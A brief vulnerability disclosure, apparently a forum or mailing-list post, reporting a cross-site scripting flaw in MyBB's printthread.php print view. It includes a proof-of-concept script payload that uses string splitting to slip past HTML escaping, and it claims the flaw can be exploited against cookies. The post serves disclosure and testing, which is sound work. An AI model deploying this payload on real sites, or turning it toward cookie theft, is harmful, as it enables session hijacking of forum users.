Hey
this is a security bug in printthread.PHP script of MyBB(all version also fully 
patched) that allows XSS crosssite scripting hacking and can be exploit without 
limitation.
post this message on a thread and go to print view of thread to view execution 
of exploit.

<script language=javascript>document.write("<script 
language=javascript>a"+"lert('Security bug allows XSS Cross-site scripting 
hacking found by imei')</"+"script>");</script>


this bug is in result of poor checking htmlspecialchars in printthread view of 
a topic and can exploit without any limitation against cookies.
